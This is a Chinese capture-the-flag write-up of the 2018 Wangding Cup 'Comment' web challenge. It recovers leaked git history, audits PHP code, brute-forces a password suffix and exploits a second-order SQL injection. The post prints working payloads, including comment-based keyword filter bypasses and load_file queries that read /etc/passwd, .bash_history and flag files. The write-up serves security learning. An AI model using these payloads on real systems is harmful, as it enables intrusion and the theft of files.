[网鼎杯2018—WEB]Comment详细题解(代审、git走漏、二次注入)
打开标题,如下图:https://i-blog.csdnimg.cn/direct/52cbb5f8c3e24024bada60d7ceebf3c3.png
起首进行信息网络:
扫描网站目录,可以看到存在git走漏。
https://i-blog.csdnimg.cn/direct/8f3c1657e1e74231ad6ff4aa50bc4050.png
这里直接用githacker把走漏的部分下载下来。
[*]下载地点:https://github.com/WangYihang/GitHacker
[*]这个工具在linux体系上比较好用,按工具拷贝进去大概直接下载,然后输入下令就可以使用。
githacker --url http://2b661b6a-7be0-408c-84e4-0aa48b856bee.node4.buuoj.cn:81/ --output-folder 123 #(123是个目录,你可以随便起名) https://i-blog.csdnimg.cn/direct/4354bd153cba46b58f117550383cf725.png
脱下源码之后,你会发现一个write_do.php文件,咱们来看一下文件内容
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?> 感觉怪怪的,应该是少了点什么,所以说我们检察是否存在其他版本:
git log --all https://i-blog.csdnimg.cn/direct/c4faac3845ee42d6813e9714ea13e624.png
可以每次提交都恢复一次,大概说咱们直接从最早的开始恢复,最早的提交就是HEAD指针的位置
在版本为e5b2a2443c2b6d395d06960123142bc91123148c时可以找到write_do.php的更加完全版本的代码。
恢复下令如下:
git reset --harde5b2a2443c2b6d395d06960123142bc91123148c
https://i-blog.csdnimg.cn/direct/ddcebdb29d314b11aa820dba7c156ca1.png
下面是复原后的代码
//注释是我自己加的哦
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
//写入
case 'write':
//利用category字段使用payload,重点语句
$category = addslashes($_POST['category']);//在每个双引号(")前添加反斜杠
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
//sql,重点语句
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
//执行
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
//重点语句,mysql_fetch_array直接调用category,造成二次注入。
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
/* 这几个重点语句的含义:他先将$category的值addslashes了,放入数据库(这时addslashes加的反斜杠被删除了),但是又将他拿了出来,存在二次注入
也就是说由于addslashes会将一些符号转义但是在sql转义的符号在储存后与addslashes前并没有什么改变(换句话说\'在存入sql后,读取出来仍会是')。所以我们可以写入数据,再通过这一特性将'逃逸出来,即二次注入。
当我们构造payload的时候只能使用content,代码审计得到的*/ 接下来进行代码审计,发现存在二次注入
为什么会发生二次注入?
[*] 第一次注入的机会:在 case 'write' 的部分,攻击者可以通过 POST 请求提交包含恶意 SQL 代码的 category 字段。例如,攻击者可以提交如下 payload:
category = 'sports');--
'
因为该部分的输入只经过了 addslashes() 处理,该函数仅在单引号、双引号、反斜杠等特殊字符前加反斜杠,但无法完全防止复杂的 SQL 注入。此时,恶意的 category 字段值会被存储到数据库中。
[*] 二次注入的机会:当在 case 'comment' 中,步伐再次从数据库中读取存储的 category 值时,通过 mysql_fetch_array() 直接将存储的 category 值嵌入到新的 SQL 语句中。由于在读取数据库内容时没有进行额外的处理,这就为攻击者提供了第二次实验恶意 SQL 代码的机会。
例如,假如数据库中存储的 category 值为 sports');--,在注入时:
$sql = "insert into comment set category = 'sports');--
'
, content = '$content', bo_id = '$bo_id'"; 这将导致后续的 SQL 语句被解释掉,从而可能破坏数据库查询的逻辑,甚至导致下令实验或走漏数据。
利用 /**/ 的详细原因:
[*] 绕过过滤机制:
[*] 一些防御机制可能针对常见的 SQL 关键字(如 AND、OR)进行简单的过滤和检测。
[*] 使用 /**/ 可以分割关键字。例如,攻击者可以构造雷同如下的 payload:
sports'/**/OR/**/'1'='1
在这种情况下,OR '1'='1' 成为了实验的条件,使得注入乐成,但假如体系对单词 OR 或其他关键字有过滤,解释符号则可以绕过这些防御。
[*] 构造复杂的SQL语句:
[*]使用 /**/ 可以拆分 SQL 语句,克制引起体系过滤规则的警觉。
[*]例如,AND/**/1=1 与 AND 1=1 效果雷同,但前者可以绕过一些简单的防御机制,如仅检测 AND 或 OR 关键字是否存在。
[*] 解释掉剩余的 SQL 代码:
[*] 在 SQL 注入中,解释符号可以用于提前竣事 SQL 语句。例如,攻击者可以通过构造雷同如下的语句:
sports');--
大概使用:
sports'/**/OR/**/'1'='1
'/**/;-- 来将后续的 SQL 代码解释掉,从而使得注入代码顺利实验,克制后续逻辑的影响。
[*]/* ... */:这是 MySQL 和很多其他SQL数据库支持的块解释符号,可以解释掉一段SQL语句中的内容。
[*]#:这是 MySQL 的单行解释符号,作用雷同于 --,表现在它之后的内容都会被解释掉,直到行尾。
通过组合 */#,攻击者可以有效地竣事SQL语句,并解释掉剩余的SQL代码,这在SQL注入中非经常见。
至此二次注入部分完毕
然后点击发布,跳转到login.php,所以说需要先登录进去,才气使用此功能
https://i-blog.csdnimg.cn/direct/d1b47c8d3e154b098a5221ecf2d88f51.png
已经给出了账号密码的一部分,只需要爆破密码的后三位即可,这里密码为“zhangwei666”,随后便可以使用此功能进行发帖
https://i-blog.csdnimg.cn/direct/93908df3002e4dcc93f5b9607bf48f5b.png
先写入在写入功能写入payload,在参数category中content=database()部分的database()可以替换为其他SQL查询语句大概函数,payload其余部分则可视为固定。
https://i-blog.csdnimg.cn/direct/6eac410cd3484f4fbaae92291c353102.png
接着在评论功能触发二次注入*/#(点击'详细',然后在提交留言处再次进行注入),同样在此的payload也视为固定(注意项目标SQL语句为多行,所以需要#和/**/配合使用)。
https://i-blog.csdnimg.cn/direct/406607ee118742c4b1d47e3632f4edb2.png
得到回显
https://i-blog.csdnimg.cn/direct/8987c51f37f040e0a58b14f40ca08132.png
实验读文件 ',content=(load_file("/etc/passwd")),/*; 有些wp 的load_file前面加了select,因为数据库查找留言内容时前面已经加了select,所以可以不用加select ',content=(load_file("/etc/passwd")),/* */#
得到
https://i-blog.csdnimg.cn/direct/5c5b1fe53bd64777b7eede7c19d0e673.png
发现除了root用户以外,只有www这个用户在/home/www目录下用了/bin/bash
检察/home/www/.bash_history.bash_history :保存了当前用户使用过的历史下令,方便查找。
',content=(load_file("/home/www/.bash_history")),/*
*/# https://i-blog.csdnimg.cn/direct/6948c5df6dc34652a12e0799d0bec7af.png
看到linux实验过的下令:
1.跳转到tmp目录
2.用unzip解压 html.zip ,这时会产生一个html的文件夹
3.rm 删除了html.zip
4.cp 将html 文件夹拷贝在 /var/www 目录下
5.跳转到 /var/html 目录下
6.删除了.DS_Store文件
7.启动 web服务
接下来看看文件内里写了什么
',content=(load_file("/tmp/html/.DS_Store")),/*
*/# https://i-blog.csdnimg.cn/direct/a5cc76a89c8345c4a09d82451a160d88.png
.DS_Store经常会有一些不可见的字符,使用hex函数对其进行16进制转换
',content=(hex(load_file("/tmp/html/.DS_Store"))),/*
*/# https://i-blog.csdnimg.cn/direct/0e5df816f32d4ed48e5f5dbd8e8aff11.png
给他转换成ascll
Bud1
strapIl bootstrapIlocblobF(ÿÿÿÿÿÿcomment.phpIlocblobÌ(ÿÿcssIlocblobR(ÿÿÿÿÿÿflag_8946e1ff1ee3e40f.phpIlocblobØ(ÿÿÿÿÿÿfontsIlocblobFÿÿÿÿÿÿ index.phpIlocblobÌÿÿjsIlocblobRÿÿÿÿÿÿ login.phpIlocblobØÿÿÿÿÿÿ mysql.phpIlocblobFÿÿÿÿÿÿvendorIlocblobÌÿÿÿÿÿÿwrite_do.phpIlocblobRÿÿÿÿÿÿ @ @ @ @E
DSDB ` @ @ @ 看到内里有flag_8946e1ff1ee3e40f.php
实验检察/tmp/html/flag_8946e1ff1ee3e40f.php
',content=(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")),/*
*/# 但是发现什么都没有得到,实验与前次方法雷同,加上hex
',content=(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
*/# https://i-blog.csdnimg.cn/direct/f69a61d002c54d9bb31e4eed8076af3f.png
得到flag,但是居然是假的(/死亡微笑)
得到了一个flag,但是很遗憾他是假的,但是咱们的方法是正确的,所以检察/var/www/html/flag_8946e1ff1ee3e40f.php是否为真的flag
',content=(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
*/# https://i-blog.csdnimg.cn/direct/465866f3c9b54d5091d0a8bf2d9da3dd.png
这个才是真的。
考点总结
考点总结:
1.文件走漏
起首考察的就是git文件走漏,我们可以利用githack/githacker脚本来恢复历史版本和下载git文件。
ps:git log -all 恢复历史文件。
2.sql二次注入
在本题中,服务器端只对用传来的数据进行了过滤。sql内部的数据没有进行过滤。使用函数进行转义\'存入sql后,读取出来仍会是'。这样'就逃逸出来。
3.sql文件读取
有读权限那么可以通过load_file函数来读取文件,同时linux 下有很多敏感文件,比如:.bash_history存放了历史实验下令、/etc/passwd存放了用户信息、/etc/shadow存放用户密码且一般情况下不可读的。
4.linux 下令
在本题中考了写linux下令的细节,如cp会保存原文件(这个真的很细),unzip 解压时默认在当前路径下生成解压出来的文件。
5.分析hex数据
可以将数据转为16进制再通过hexwin写入文件还原从而得到一些内容特别的文件或数据。
感谢各位师傅的耐烦观看。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]